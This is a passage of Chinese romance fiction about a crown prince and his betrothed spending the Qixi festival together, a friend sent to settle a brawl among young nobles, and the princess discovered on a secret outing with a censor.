师父还和以前一样,又出门游历去了,听说这次是和那位机关大师同行, 寻找高僧去了。 从白安渝的字里行间,姜蝉衣能想象到五师弟是怎样的暴躁疯狂,四师弟冷着那张脸教弟子习武,关霄跟着沈琳琅忙里忙外,二师弟游刃有余处理武林要事。 或许时常鸡飞狗跳, 但一定是一片和乐。 姜蝉衣心头思念万千,只恨不能立刻快马加鞭, 回去看看他们。 信的最后, 白安渝才提到了宋少凌,没有说她离开的缘由,只说天下总有遗憾不得圆满,他们注定不能同路, 天各一方,相忘于江湖未必不是最好的结局。 姜蝉衣拿着信看了许久,才平复了心绪。 即便她仍觉得遗憾,觉得不甘,可她尊重他们,有时候,她以前一直更信自己手中的剑,可自从与谢崇经历种种,她也开始信天命。 有些事情,注定不能强求。 师妹说的对,天下不是所有遗憾都得圆满。 姜蝉衣回了信便换衣梳妆,刚收拾完女使来报,太子殿下到了。 今日乞巧节,谢崇几日前便与她有约。 姜蝉衣低落的情绪也尽数散去,脚步飞快的出了门。 她一出门便看见门口停着的马车,快步走过去,才踏上脚踏,车门就从里打开,伸出一只十分养眼的手,姜蝉衣笑着轻轻将手放在他的手心。 曾经她觊觎过很多次这双手,如今也算得偿所愿。 掌心一片柔软,太子也勾起了唇,温柔握住将人搀扶进马车。 姜蝉衣原要在侧边坐下,却被太子带着坐到了他的身侧,今日太子微服出宫,没有乘那辆踏雪乌骓的马车,位置并不宽敞,二人并坐挨的很近。 龙涎香浸入鼻尖,撩的人心慌意乱,不知是有意还是无意,姜蝉衣反握住太子的手,手指有序缓慢的摩挲着。 谢崇只瞥了眼便由她去了。 “怎么了,可是有心事?” 姜蝉衣一愣,她明明已经掩下去了,他怎么还看出来了。 对上太子温柔的视线,她如实答道:“我今日收到师妹的信了。” 谢崇眸光微动:“可是想念师父,师弟师妹们了?” 姜蝉衣看着他,无声一叹。 她曾经就说过要是谢崇骗她,必定一骗一个准,人美心善,温柔体贴,又能恰到好处的洞察人心,谁能拒绝这样的太子? 见姜蝉衣盯着自己不语,谢崇紧了紧她的手,温声道:“待大婚之后,我们便回落霞门拜见师父。” 姜蝉衣眼眸骤亮,另一只手自然而然按在他的手上,愉悦点头:“好。” 谢崇忽略那只把玩着他手指的手,问道:“信上可还说了其他?” 姜蝉衣自然晓得他指的是什么。 师妹离开京都已有两月余,这两月宋少凌如往常一样,该吃吃该喝喝,在杨府赖了徐清宴几日,徐清宴进御史台后,又到东宫在太子眼前晃了几日,后来也不知怎地突然和沐玄机走的近了,两个闲人将京都玩了个遍,再后来明亲王府的小郡王和小郡主也加入了,太子案前每日都会收到朝臣弹劾。 今日,小将军和沐公子打了大理寺京兆府吏部侍郎的几位公子,明日,小郡王和小将军沐公子联手拆了一个赌坊,后日,小将军和公主谢清欢打架,毁了一个茶楼 东宫几乎每日都要送出一大笔赔金。 宋少凌是知己好友,闯的祸他赔,沐玄机唤他一声阿兄,犯的事他也陪,公主小郡王小郡主更不必说,金酒每次拿着银两出宫,总要感叹说,那几个小祖宗迟早要把太子的私库掏干净! 可又能如何,只要不是他们先挑事,太子都乐意纵着。 姜蝉衣自然知道这些,她也明白太子纵容背后的用意,宋少凌表面看似无事,心中却不知是何等煎熬,有那几个混世小魔头陪着闹着,他或许能更快的走出来。 姜蝉衣将白安渝信上所写的原话同太子说了,偏头靠在他的肩上,道:“他们的缘分真的尽了吗?” 谢崇往她身边挪了挪,让她保持更舒适的姿态:“缘分二字过于玄妙,谁又能真的看透?” 姜蝉衣轻轻叹息一口,谢崇知她心中难受,偏头转移了话题:“千洲宣则灵应这两日会到玉京。” 果真,姜蝉衣立刻被转移了注意力,直起身子惊喜的看着谢崇:“当真,宣妹妹要来玉京,我竟不知?” 谢崇笑着道:“原打算给你个惊喜。” “千洲来京都处理一桩生意,知道你也在京都,便带着宣则灵一道来了。” 姜蝉衣的低落一扫而空,笑的眉眼弯弯:“太好了,好久没见宣妹妹,甚是想念,他们哪日会到?” 谢崇看着姑娘那双璀璨的眼眸,恍然想起初见时,他便是因这双眼睛软了心肠,从此,他的身后便多了那一串尾巴。 “前几日来信说快到了,算着应该也是这两日。” “甚好。” 姜蝉衣欢喜道:“待宣妹妹到了,我必要带她将京都逛个遍。” 说罢,她突然想起什么,道:“我好像不应该唤宣妹妹,她比我年长几岁。” 谢崇失笑:“如今才察觉?” 当时她们这般称呼他便觉不对,不过那时姜女侠义薄云天,数次将宣则灵护在身后,看起来,确实更像姐姐。 “不过唤妹妹也很恰当,千洲唤我阿兄,她也该唤你一声嫂嫂。” 听得那句嫂嫂,姜蝉衣眼角笑意压也压不住,虽然沐玄机私底下一直唤她嫂嫂,但这声嫂嫂怎么都听不够。 说起嫂嫂 姜蝉衣眨眨眼,看向谢崇:“我曾听说公主最爱出宫与小郡王小郡主一起闯玩,近日怎么极少出宫,今日乞巧节,公主怎没有一起出来?” 嫡公主谢瑜是与太子一母同胞的妹妹,她反倒见的最少。 只上次在东宫碰见,谢瑜好奇的打量她,说她知道她曾假扮她的事,还问她为何演的那么像,又邀她去她的宫殿玩了半日,宫门快要落钥才万分不舍的亲自送她出宫,还不由分说给她装了一马车的礼物,她次日在库房精挑细选一日,才选出一马车回礼送去。 这位公主性子直爽热情,甚是可爱。 谢崇沉默了片刻。 他对此也疑惑,按理说,阿瑜不应该错过这场热闹,她理应是那几个里玩的最疯的,可这两月她竟只出宫了两次,一次买了一家书铺,一次和宋少凌打架拆了茶楼。 但他这些日子政务缠身,又每日要替那几个善后,只要她不闯祸,他便没有去过问,到昨日才知晓她近日去御史台去的勤,由此,他猜测,妹妹极有可能瞧上御史台什么人了。 他正打算今日过后便着人暗中查探。 “我着人问过,阿瑜说她不想出宫,要闭门学诗词。”不说姜蝉衣多惊讶,就是谢崇自己说着都觉得有些恍惚。 谢瑜学诗词,就好比说太阳要打南边儿出来。 由此他又得出一个结论,被妹妹瞧上那人,应该是个喜欢诗词的书生。 姜蝉衣几番欲说些什么都咽了回去。 “啊,哦,嗯,挺好。” 却不知这位公主殿下近日是受了什么刺激。 马车缓缓行驶着,很快便到了最繁华的街市,金酒将马车停下,询问道:“殿下,今日人多,马车过不去。” 谢崇掀开车帘看了眼,道:“无妨。” 转而问姜蝉衣:“我们下去逛逛?” 姜蝉衣自然说好。 比起坐马车,她当然更喜欢穿梭在街市看热闹,只不过太子身份特殊,那张脸又着实惹眼,每次约会大多都选择酒楼茶馆。 可即便如此,也还是不乏被人认出,虽然太子面色平静,但她知晓他其实并不太喜欢在闲暇时间与臣子交谈。 想到这里,姜蝉衣便朝谢崇道:“你先等等。” 说罢,她便飞快下了马车。 今日乞巧节,必定有不少王公贵族出游,必然会被不少人认出来。 谢崇不明所以,但还是听话的坐在马车上,不久后,便见姜蝉衣去而复返,递给她一个面具:“戴着面具,省得应付。” 谢崇怔了怔,目光深邃的看她片刻,原来她都知晓。 姜蝉衣扬了扬手中另一个面具,笑着道:“以防万一,我也戴着。” 她在露华台露过面,近日又随母亲参加过几次宴会,不少人都认得她,定也就能猜到她身边的男子是谁。 “好。” 谢崇接过面具戴上,二人一道下了马车。 怕被人群冲散,谢崇紧紧握着姜蝉衣的手。 姜蝉衣很快就被街边新鲜事物吸引了注意力,拉着太子游刃有余的穿梭在人群中,不多时,怀里便抱了一堆各种各样的稀奇物件儿。 好在有暗卫跟着,一遍又一遍接过太子怀里的东西放回马车上。 也幸好姜蝉衣有先见之明,这一路上,二人已经见过许多熟面孔,也有些与他们一样戴着面具,但谢崇大多都能认出来是哪家勋贵子弟,也有能认出他的,只是见他们戴着面具,也都识趣的没有上前打扰,只遥遥颔首见了礼就离开。 “我要最上面那个,你快将它射下来!” 突然,耳边又响起一道熟悉的声音,谢崇抬眼望去,便见一位妙龄女子正娇蛮命令着身边的人,赢下她看中的彩头。 姜蝉衣随着谢崇眼神望去,好奇道:“你认识她?” 谢崇收回视线,点头:“是五妹妹。” 姜蝉衣闻言忍不住多看了几眼。 上次在露华台,五公主也在,但她当时伤的重,又一到就被太子抱走,压根没瞧见殿中什么人,这两月没有宫宴,她自然也就没有见过其他的皇子公主。 “我们去那边。” 谢崇不想被认出,拉着姜蝉衣欲离开,却发现姜蝉衣盯着五公主走了神,遂问道:“怎么了?” 姜蝉衣缓缓收回视线,抬眸看着他。 不知是有意还是无意,她好像一直忽略了一件事,一件本该很重要很重要的事。 虽戴着面具看不清神情,但谢崇能感觉到姜蝉衣状态不对,将她拉近自己一些,又问:“蝉衣,怎么了?” 人群吵嚷,姜蝉衣定定的看着谢崇,突然唤他的名字:“谢崇。” 谢崇微微一怔,从认识到现在,她是第一次如此唤他,也是唯一连名会带姓唤他的人,他便知她接下来的话或许很重要,遂正色道:“蝉衣,你说。” 姜蝉衣语气郑重道:“谢崇,你可知晓褚家乔家不纳妾的规矩?” 这句话,阿兄曾经同她说过,那时不觉,竟如此才体会到阿兄其中的深意。 谢崇立刻便明白她想要说的话了,柔声道:“知晓。” 姜蝉衣声音坚定道:“你听好了,我姜蝉衣长在江湖,自小就没学过京都的规矩,只知晓父亲母亲一生一世一双人,不管乔褚两家有没有这样的规矩,我都绝不会和任何人分享一个夫君。” “我要的爱是唯一的。” 哪怕这个人是谢崇,是她爱极了的人,在这件事上她也不会让步,但凡他有别人,不管她爱的有多深,她都会毫不犹豫的转身离开。 她知道对于一国储君,这个条件过于苛刻了。 哪国君王不是后宫三千。 可她无法接受。 谢崇握住她的手,又靠近几分,迎上她的视线,温声道:“我知晓。” “蝉衣,当我知晓我的储妃是你,我便觉得我当真是这天底下最幸运的人,有你,我此一生,不会再有其他任何人。” 姜蝉衣虽信任他,但知道此事事关重大,听得他的承诺才松了一口气,轻笑着道:“我信你,但若有朝一日你违了今日承诺,放我离开。” 不会,他不会违背承诺。 但这话此时说来意义甚微,谢崇沉默片刻,道:“我以储君身份向你承诺,若有朝一日我违背诺言,定放你离开,大婚之后我会写一道诏书于你,若我碰了旁人,你可离我而去。” 姜蝉衣毫不犹豫点头:“好。” 谢崇轻轻将她揽入怀里。 蝉衣,永远不会有那一日。 “早在几月之前,你的阿兄便将我深夜叫去警告过我了。” 半晌,谢崇放开姜蝉衣,道:“他是我自小的玩伴,也是我第一位挚友,他说,若我有朝一日负你,他会与我决裂,带你离开。” 姜蝉衣不知还有这事,喉中微哽。 她的阿兄,是这世上最好的阿兄。 “对了,你可知晓阿兄是否有心上人?” 谢崇眸光微闪了闪,道:“不知。” 姜蝉衣蹙了蹙眉:“你都不知,那应该是真没有了,可是我总觉得阿兄好像时常不开心,总感觉,他心头装着一个人,我几次问他,他都转移了话题。” 谢崇轻轻嗯了声。 他与褚方绎是挚友,更是知己,他又怎会不知?只是,褚方绎心尖上放着的那人是谁,不该由他来说。 他记得那个小姑娘,是他和褚方绎一起捡回来的。 那年,他与褚方绎从茶楼出来,见到那小姑娘被人欺负,她虽瘦弱但那双眼里不见丝毫怯懦,哪怕明知自己不敌,也拼了命要与对方不死不休。 褚方绎心软了。 他将她救下,问她,可愿随他走,小姑娘自然答应。 捡回她那天,是春季最后一个节气,他为她取名,谷雨。 后来,相国大人要为他选培养贴身暗卫,那小姑娘跪在相国大人跟前,她说,他救了她一命,她要用余生报答。 褚方绎拗不过她,应了。 褚方绎为她请了一位很好的师父,那便是父皇身边的乌焰叔叔,她根骨极佳是练武的天才,乌焰叔叔很喜欢她,她成了乌焰的嫡传弟子。 世家公子学的东西太多,很长一断时间,褚方绎的生活中只有谷雨,他们主从在无数个日夜中相伴,他看书,她练武。 但谷雨是个很特别的暗卫,她琴棋书画样样都会,而这些无一不是褚方绎亲手所教。 准确的来说,除了武功,谷雨的一切都是褚方绎亲自教授。 最初或许只是怜惜,后来不知何时,那份怜惜就变了味。 可这段感情注定是悲剧。 褚方绎知道他看了出来,但从不同他说,他也从不问。 他们很像,身居高位,一言一行不只是自己,太子也好,相国长子也罢,在其位担其责,世族脉络盘根错杂,他们一举一动都关乎朝堂社稷。 谢崇将手中的手攥紧了几分,他比褚方绎幸运。 世族大家,婚事无不是牵一发而动全身,更何况一人之下万人之上的相国府。 “或许,他想说的时候便会说了。” 谢崇缓缓道:“若他不想说,便不问吧。” 不入内阁是他最后的坚持,可他们都清楚,这份坚持意义不大,即便他将来不为相,也绝无可能娶她。 所以,为了保护她,他不会对任何人坦白心意,包括谷雨。 姜蝉衣没多想,点了点头:“嗯。” 掠过这个话题,二人又闲逛了半条街,突有暗卫现身,禀报道:“殿下,玉公子到京都了。” 谢崇有些意外:“倒是比预想中早。” 姜蝉衣忙道:“他们在何处?” 暗卫道:“方才得到的消息,去了明亲王府,可要属下去请玉公子?” 姜蝉衣还未开口,便听谢崇道:“不必了。” 而后示意姜蝉衣:“东南方向。” 姜蝉衣正想说如何不必,她想见宣妹妹,闻言下意识抬头寻去,一眼便看见人群中朝她们走来的两道身影。 姜蝉衣面上一喜,唤了声:“宣妹妹。” 他们显然认出了他们,可两边隔着一条街,人来人往中,很难挤过来。 谢崇便抬手朝他们身后示意,玉千洲会意,携宣则灵转身进了身后茶楼,而谢崇则揽着姜蝉衣的腰,提气跃过一条街,落在茶楼之上,竟比玉千洲宣则灵更快到了二楼。 底下人群见此一阵叫好起哄,五公主循声望去,看着谢崇的背影,若有所思。 这背影,怎么有些像皇兄。 不过应当不是,先不说皇兄定不会来凑这种热闹,就算来了,也不会在大庭广众之下与女子这般亲近。 茶楼的小二也被一惊,直到谢崇递来一锭银子,他才回神忙接过客气引他们到仅剩的一个雅间:“公子这边请。” 这时,玉千洲宣则灵也上了二楼,几人碰上面一道进了雅间,刚进雅间,姜蝉衣就拉着宣则灵亲热的寒暄,好似有说不完的话。 谢崇与玉千洲对视一眼,各自一笑:“怎早到了?” “听闻京都乞巧节很是热闹,便换了快马,好在赶上了。” 玉千洲说完,看了眼凑在一起早已将他们忘到脑后的两位姑娘,有些无奈,谁曾想才出来就遇上太子二人。 早知,不走这条道了。 谢崇似乎看出他心中所想,淡淡笑了笑,问:“这次进京呆多久?” 玉千洲道:“要月余。” 如今他开始接手玉家生意,在京都耽搁月余已是极限。 小二送来茶点,两边各自寒暄,时间过的极快,等姜蝉衣宣则灵叙完旧,天色已经暗下来了。 瞧城中华灯初上,姜蝉衣欢喜道:“可以去放花灯了。” “嗯。” 谢崇见她们总算想起了他们,便起身走向姜蝉衣,自然而然拉着她出门:“一同去吧。” 姜蝉衣刚要伸手拉宣则灵,玉千洲便快一步握住宣则灵的手,面色自若点头:“好。” 她看了眼玉千洲,只得作罢。 然就在四人要出门时,突又有暗卫来报,谢崇一见暗卫复杂的脸色便知不妙,沉声道:“说。” 暗卫低着头道:“殿下,小将军又闯祸了。” 果然,谢崇沉默几息,道:“让顾榕去处理。” 今日是他和蝉衣第一次去护城河放花灯,只要天塌不下来,他就不会将时间浪费在别的事上。 暗卫为难道:“顾统领怕是无法处理,小将军打了万阁老嫡子,人伤的极重。” 玉千洲听到这里,问:“小将军,说的可是云公子?” 他虽然没进京,但消息灵通,早便知晓云广白几人的身份。 谢崇嗯了声,他知道事情应该不止于此,否则不至于连顾榕都无法做主。 果然,只听暗卫继续道:“万公子不知从何处晓得白姑娘与薛二公子的渊源,对白姑娘言语上颇有些不敬,恰被小将军听见,二话不说就动起手来,万公子几位好友皆是国公府,侯府的公子,身手都不错,遂出手相帮,与小将军同行的小郡王,小郡主,沐公子便也都动了手。” 玉千洲宣则灵还没见过这阵仗,听得怔愣不已。 谢崇姜蝉衣则是神情平静的有些麻木。 经验所致,应还不止此。 “见主子们打的太凶,两边随从暗卫共计三十多人全都参战,那三层的酒楼塌了,幸得小郡王身边的侍卫对此极有经验,早见阵仗不对提前清场赔了客人银两,未波及无辜,但两方主子除了沐公子全都受了伤。” 暗卫头又低了几分:“因实在闹的太大,几位主子全部被京兆府带走了,京兆府尹两边都不敢开罪,让各位主子通知府中去接人,小将军,小郡王小郡主,沐公子都不敢知会长辈,全部差人来请殿下。” 姜蝉衣眉心突突直跳。 玉千洲宣则灵缓缓转头看向谢崇,只见太子脸色万分镇定,寻不到一丝裂痕,但屋内寂静了大约有二十息,太子都没有开口。 太子替那几个收拾烂摊子不是头一次,可到京兆府去捞人还是头一遭,且还一捞就是四个,饶是太子情绪再稳定,也难免有些绷不住。 许久后,姜蝉衣试探开口:“要不,我去一趟?” 太子去京兆府捞人,传出去委实有损颜面。 谢崇终于开口:“不必。” 他突然转头看向玉千洲,道:“千洲,按理,你唤我什么?” 玉千洲下意识道:“阿兄。” 话一出口,他就后悔了。 只是还来不及改口,就见谢崇正色道:“你的父亲与小叔叔是结拜兄弟,小郡王小郡主更该唤你一声阿兄,沐公子也是明亲王府的人,宋少凌是小婶婶的侄子,所以你也是他们几人名正言顺的阿兄,此事你出面,最好不过。” 玉千洲绷着脸:“殿下,我是白身,不合适。” 谢崇:“不管你官身白身,都改变不了你是他们阿兄的事实。” “除非,你不唤小叔叔一声伯父。” 玉千洲面无表情的看着太子。 他很想反驳,但又无力反驳,他虽只与小郡王与小郡主见过一次,但在小王爷的授意下,他们确实唤他阿兄。 “说起来,同是阿兄,不能每次都是我出面相护,你也该担起这个责任。” 谢崇说完,看向宣则灵:“宣姑娘不如随我们先去护城河,千洲脚程快,待处理完后再追过来。” 宣则灵呆愣愣看了眼玉千洲,来不及作何反应就被已经回过神来的姜蝉衣一把拉走了:“太子说的对,宣妹妹,我们去护城河等千洲弟弟。” “那就有劳千洲了。” 谢崇声音温和道:“该如何处理便如何处理。” 说完,谢崇头也不回的拉着姜蝉衣离开,连带着宣则灵也被姜蝉衣拽走,宣则灵颇为同情的回头看了眼立在原地的玉千洲,几番欲言又止,终是什么也没说。 玉千洲见着几人背影消失在眼前。 何必换成快马赶这乞巧节,明年再来又有何妨。 他一直都知晓那几位很会闯祸,如今总算是见识到了,只是那时他怎么都没想到,有朝一日这把火会烧到他身上来。 不过仔细一想,又觉都是因果报应。 小王爷为父亲收拾过许多烂摊子,如今也该轮到他了。 暗卫小心翼翼看他一眼:“玉公子?” 玉千洲收回视线,认命:“走吧。” 走出一段距离,他问:“我对此无甚经验,该如何将他们赎接出来?” 暗卫冷静道:“多带些银子便可。” 想到金统领说殿下私库的银子都快赔没了,暗卫加了句:“要带很多,光那酒楼就要不下十倍赔偿。” 这几位祖宗虽然很会闯祸,但并非霸道蛮不讲理,更不会主动寻衅,不曾牵连无辜,也正是因此,殿下才会相护。 只是,实在有些费银子。 玉千洲呼出一口气。 那便好,银子,他多的是。 暗卫转而想到什么,暗道自己也是多嘴了。 这天底下谁能比玉家富? 出了茶楼,宣则灵有些担忧:“千洲过去,当真可以吗?” 千洲只是白身,今儿京兆府的全是王公贵族,那京兆府能放人吗? 谢崇道:“放心,他可以。” 玉家的分量不止在江南重,在京都也一样,毕竟在当朝,论难缠,没有人比得过明亲王府的小王爷。 就算是白身,只要他是玉明澈的儿子,就能在王公贵族中说得上话。 况且玉家多是要交到他的手上,将来免不得与京中贵族打交道,今日,不管是认个脸,还是扬名,都是个好机会。 宣则灵见太子如此说便安了些心,几人一道往护城河逛去。 再说京兆府这边。 京兆府尹看着堂上的几个祖宗,头都要炸了。 看一眼重伤的万公子和几位世子,又看一眼肿着脸瞪着万公子阵营的小郡王小将军,一转眼再看到小郡主身上的伤,而唯一没受伤的沐公子正抱臂立在柱子边,虎视眈眈盯着万公子等人,好像下一刻就要冲过去再把人揍一顿 京兆府尹长叹一口气,他这京兆府尹,今日怕是要做到头了! 而这事情的起因,源于那位早不在京都的白姑娘。 也不知这万公子好端端的嘴欠说人姑娘作甚,还好死不死给宋小将军听到,京都如今谁人不晓得,几月前,宋小将军为了护那白姑娘差点将命都丢了! 如果只有这二人动手,他真觉得万公子这顿打挨的不冤,但是扫一眼满堂的金疙瘩,他的太阳穴疯狂跳动着。 他这是造了什么孽啊! 国公府侯府知道自家公子跟明亲王府的动了手,先后赶了过来,弄清事情原委又气又恨,万家觉得他们公子固然有错,可何至于被打成这样,其他家的则觉得他们是被无辜牵连,然细问之下,却又是他们先出手相帮,明亲王府三位才动的手。 几番纠缠拉扯,各有各的理,相持不下,当然,主要也是因为明亲王府和宋家的人没到,一时间没人拿得了主意。 便是万家,也没法单方面下决定。 终于,在一众人的苦等下,等来一位锦衣公子,自称是明亲王府那几位的阿兄,所有人面面相觑。 能做那几位阿兄的他们都见过,这谁? 倒是小郡主谢清欢一眼认出来,欢喜道:“是玉家阿兄。” 他们不敢请父亲母亲,只能请太子阿兄来捞他们,但其实心底也怕太子阿兄来,本来已经做好被训斥一顿的准备,没成想来的是玉家阿兄,这简直是天大的喜事! 沐玄机只盯着玉千洲瞧。 他没见过他,不过,听见玉家阿兄几个字他便知晓他的身份了。 他知道玉家主对这位少家主的看重,没想到头一回见面,竟是在这样的场合。 沐公子烦躁的错开视线,这还不如太子来,大不了挨顿骂,这可倒好,丢人都丢到江南去了! 小郡王小郡主触及到玉千洲的视线,也先后心虚的别过眼,虽然刚开始他们都庆幸来的是玉家阿兄,但回过味来,便觉得有点丢人了。 几个小魔王都低着头不吭声,只有宋少凌错愕道:“玉兄,你怎么来了?” 玉千洲没去看万家国公府侯府的主子,只一一扫过自己这边的几人,淡淡道:“我刚到京都,碰上太子殿下,殿下说我也是你们阿兄,该为他分忧,所以,我来了。” 宋少凌眨眨眼,动了动唇,半晌,偏过头理了理凌乱的发丝。 确实,按理,他是也该叫他阿兄。 其他人也纷纷从茫然中回神,将探究的视线落在玉千洲身上,暗自思量。 原来这就是玉家那位少家主,玉千洲无足轻重,可他身后是明亲王府,便另当别论。 “事情经过我已听太子殿下的暗卫说起。”玉千洲看向万家人,万家来捞人的是万家的长公子:“万公子对白姑娘出言不逊在先,但宋少将军打人亦是有错,此事,万公子以为该如何处理?” 万公子微微蹙着眉,他是家中长子,自然清楚京都局势,眼前这人一介白身,按理他并不放在眼里,今日场合还轮不到一介白身来同他们谈判。 可是,他姓玉,不出意外便是玉家下一任家主。 且自他来,那几位张牙舞爪的竟全都收敛了气势,如此,便容不得他小觑。 沉思良久,万大公子拱手道:“玉公子所言甚是,的确是阿弟挑衅在先,但我认为,阿弟罪不至此。” 这些人里头,万公子伤的最重,此时低着头坐在自家长兄身后,头都没敢抬。 这个年纪的公子自尊心最是强,打赢了还没什么,输了气势也就跟着弱了些。 玉千洲看了眼万公子,道:“既然都有错,那就各认各的错。” “万公子对白姑娘出言不逊,该道歉,宋少凌动手打人,亦该致歉,医药费我们十倍赔偿。” 万大公子皱眉:“阿弟伤成这般模样,一句道歉便算了?” 宋少凌一眼剜过去,正要开口,就被玉千洲不轻不重扫了眼,他冷哼一声不甘不愿的低下头。 玉千洲缓缓走到小郡王身前的空位坐下,抬眸看着对面的万大公子,淡声道:“那便让你弟弟打回来,我们各赔各的医药费,若是各位不满意,便请府尹大人将他们全部收押。” 所有人闻言都是一怔。 小郡王小郡主默默抬头看了眼玉千洲,玉家阿兄好像不是他们想象中的样子,他看起来,下手好像比太子阿兄更狠。 京兆府尹:“” 他扯唇笑了笑:“不至于,不至于,我以为,还是各家商议私了为好。” 他这牢里可关不起这些祖宗! “至于其他人,若我没听错,是他们先对宋少凌动的手,若他们不动手,王府两位弟弟和妹妹自然也不会参与,今日便不会如此收场,这么算起来,那间酒楼便该我们几家人一起赔。”玉千洲看了眼其他几家人,气势丝毫不比他们弱:“让掌柜给个数。” 掌柜的欲言又止,这都是个顶个的贵人,他怎么算,少了东家吃亏,多了要得罪人。 最后,他小心翼翼中规中矩给了个数:“一千金。” 玉千洲来之前便问了地段,心知这个数他并没有高要:“好,一边一半,诸位以为如何?” 其他家却不像他这么坦然了。 五百金几家分下来并不是个小数目,虽然也不至于赔不起,但怎么想都觉得心疼。 在众人沉默之时,玉千洲有些不耐的催促:“万公子快些动手吧。” 他还得赶着去放花灯。 宋少凌,小郡王:“” 不是,真让人打啊? 小郡主:“玉家阿兄” 玉千洲放轻声音:“清欢妹妹放心,你受的伤我也会分毫不少的讨回来。” 谢清欢神色复杂的看了眼宋少凌,默默坐了回去。 见众人不语,玉千洲又道:“或者全部关押?” 对面的人全都沉默了。 玉千洲的意思很明显,既然都不愿意赔偿了事,那就各报各的仇,亦或者一并送进牢中。 关进牢里是断不可行的,可各报各的仇 万大公子看了眼自家弟弟跃跃欲试的眼神,没好气瞪他一眼,蠢货!他倒还真想打! 真动了手今日气出了,他日恐怕没那么好过了,可就这么算了,委实又咽不下这口气。 一片寂静中,玉千洲缓缓道:“或者,万公子同白姑娘致歉,其他一应损失由我赔偿,各家医药费三倍。” 万大公子一愣。 其他几家也都是若有所思,不必赔酒楼损失,也得了医药费赔偿,这好像是目前最好的解决办法,毕竟所有人都动了手,真认真算下来,没人逃得过。 只需要万公子同白姑娘道歉。 几家人都看向万大公子,意思已经很明显,万大公子自然也明白这是最好的处理方法,再纠缠下去对他们也没有任何好处。 半晌后,他道:“我同意。” “不过,白姑娘不在此处。” 玉千洲看了眼宋少凌:“你如何看?” 宋少凌沉默良久,指了个方向:“朝那个方位作揖道歉,以后见着白姑娘,退三丈。” 万公子不甘的看向长兄,但也知道此事没有回旋的余地,最后不得不依着宋少凌所言致了歉。 此事也就到此为止。 玉千洲最后多给了掌柜两百金,掌柜的并不敢收,玉千洲便道:“就当是同你们东家交个朋友。” 能在那个地段开酒楼的必然不是寻常人,多个朋友何尝不好。 掌柜的一愣,若有所思看了眼玉千洲,而后恭敬行了个礼:“小的明白,定将玉公子的意思转达给少东家。” 一切处理完,签了文书,各家领着各家人离开。 四个人沉默无言的跟在玉千洲身后出了京兆府,宋少凌最先开口:“多谢。” 玉千洲转头看他片刻,道:“要真想谢,不如唤我一声阿兄?” 宋少凌自然晓得这声阿兄的意义与那声玉兄可不一样,倒也不是不愿,只是他们明明是朋友,突然变了个身份,很有些别扭。 不过到底承了恩情,宋少凌拱手作礼:“多谢阿兄。” 玉千洲挑了挑眉,怪不得当年太子一直逼他喊声阿兄,如今听来,嗯,确实不错。 “我还有要事,你们” 谢清欢忙道:“玉家阿兄快去忙吧,我们自己回去就是。” 玉千洲轻轻点头,与几人作别。 走出几步,他突然驻足回头,除了沐玄机,三人下意识站直,却见他笑了笑,道:“若下次闯了祸,我恰在京都,可随时差人到玉家商行寻我。” 四人目送玉千洲走远,许久后,谢清欢喃喃自语:“我好像,又多了一个靠山?” 小郡王:“是金山。” 沐玄机:“或者,咱不闯祸了呢?” 多少有点丢人。 三人同时无声地看向他。 对视几息,沐玄机默默挪开视线。 下次他宁愿挨顿打,也不丢这个脸。 转而一想,算了,丢一次也是丢,几次也是丢,无甚区别。 想通了后,他一把拽走宋少凌:“好了,走,看花灯去。” 玉千洲到了护城河,远远便看到宣则灵提着花灯等他,谢崇遥遥与他对视,他回之一笑,快步走过去。 到了跟前,他接过宣则灵手中的花灯,看向太子:“多谢,阿兄。” 他自然明白太子今日用意,不过别的话也无需多言。 谢崇笑了笑,拉着姜蝉衣道:“走吧。” 姜蝉衣反握住他的手,抬眸笑的眉眼弯弯:“我方才听说,一起在护城河放了花灯的有情人,会生生世世一直在一起。” 谢崇温柔道:“嗯,会。” 他们会一直在一起,身边也会一直有亲人,知己,爱人相伴。 第88章 第 88 章 因人而异 护城河边人头攒动, 花灯沿着河流缓缓飘走,像是落在水中的满天星辰。 姜蝉衣与谢崇几乎是同时抬头看向对方,相视一笑。 忽而, 谢崇笑意微顿,姜蝉衣似有所感顺着他的视线回头望去, 只见不远处,一位姑娘正笑盈盈将花灯放入河中。 不是公主谢瑜又是谁。 姜蝉衣:“……不是说公主在闭宫学诗词?” 谢崇的视线从谢瑜身上挪开,落在背对着他们的男子身上, 他正伸手搀扶站起身的谢瑜, 似在说着什么。 谢瑜隐露不满, 嗔了一眼,然就在这时, 她看见了正盯着她的谢崇。 公主一惊,随后一把拽住男子说了句快跑,男子毫不犹豫拉着公主慌忙拾阶而上。 目睹一切的姜蝉衣:“……” 她瞥了眼谢崇, 果然见谢崇神情难得的沉着,不待她开口,便拉着她快步上了阶梯。 玉千洲宣则灵见此随后跟上。 谢瑜一颗心砰砰跳的飞快,皇兄怎么也在这里! 今日皇兄出宫特意问过她,她以学诗词为由拒绝了, 没成想竟在这里碰上。 完蛋了! “殿下,走这边。” 二人头也不敢回, 牵着手在人群中飞快穿梭, 好不容易躲进了一个巷子。 公主弯着腰气喘吁吁:“我就说不在那里放,这么多人,偏偏就撞上皇兄。” 男子更是跑的上气不接下气,闻言无奈道:“不是殿下选的地儿么。” “看见我了吗?” 谢瑜思忖片刻, 摇头:“应当是没有。” 话刚落,便听身后传来一道熟悉的声音:“现在看见了。” 二人吓得立刻站直身子,对视一眼,一时竟不敢回头看。 然不必回头,谢崇姜蝉衣也能认出那道万分熟悉的背影,谢崇眼中眸光转了几番,才似从牙缝里挤出几个字:“徐清宴!” 与公主一道的男子正是徐清宴,他身体僵硬了会儿,才缓缓转过身,扯出一抹笑:“好巧啊。” 谢崇神色淡漠的盯着他。 姜蝉衣也面色复杂,一言难尽。 他与公主是何时走的这般近的? 随后追过来的玉千洲宣则灵在巷子口默默看着这一幕。 街上热闹非凡,人声鼎沸,小巷中却沉默的可怕,过了不知多久,谢崇才看向谢瑜:“不是在宫中学诗词?” 谢瑜低着头,慢慢蹭到徐清宴身后。 徐清宴只能迎上谢崇的视线,解释道:“你是你们想的那样,我们只是……” 谢崇:“只是什么?凑巧遇到?” 徐清宴说不出话。 哪里有那么多凑巧,他与公主当然不可能在这里遇见。 且就算解释,好像也无从解释。 他沉默良久后,看了眼身后的公主,伸手握住她的手,看向谢崇道:“就是你们看到的这样。” 谢瑜吓了一跳,想挣脱却没能挣得开,只好乖乖立着,飞快看一眼太子。 谢崇几人的视线缓缓落在二人手上,神色各异,场面又古怪的沉寂下来。 这个走向是谢崇完全没有料到的,但细想,其实早有破绽。 